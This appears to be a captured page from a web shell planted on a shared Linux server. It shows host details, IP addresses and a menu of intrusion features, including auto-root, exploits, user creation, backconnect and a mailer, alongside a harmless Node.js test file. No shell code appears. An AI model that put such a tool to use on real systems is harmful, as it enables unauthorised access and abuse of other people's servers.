Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.13
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
nodejs /
@nodelib /
fs.stat /
src /
adapters /
[ HOME SHELL ]
Name
Size
Permission
Action
fs.spec.ts
807
B
-rw-r--r--
fs.ts
544
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : fs.spec.ts
import * as assert from 'assert'; import * as fs from 'fs'; import { Stats } from '../../../fs.macchiato'; import * as adapter from './fs'; describe('Adapters → FileSystem', () => { it('should return original FS methods', () => { const expected: adapter.FileSystemAdapter = adapter.FILE_SYSTEM_ADAPTER; const actual = adapter.createFileSystemAdapter(); assert.deepStrictEqual(actual, expected); }); it('should return custom FS methods', () => { const customLstatSyncMethod: typeof fs.lstatSync = () => new Stats(); const expected: adapter.FileSystemAdapter = { ...adapter.FILE_SYSTEM_ADAPTER, lstatSync: customLstatSyncMethod }; const actual = adapter.createFileSystemAdapter({ lstatSync: customLstatSyncMethod }); assert.deepStrictEqual(actual, expected); }); });
Close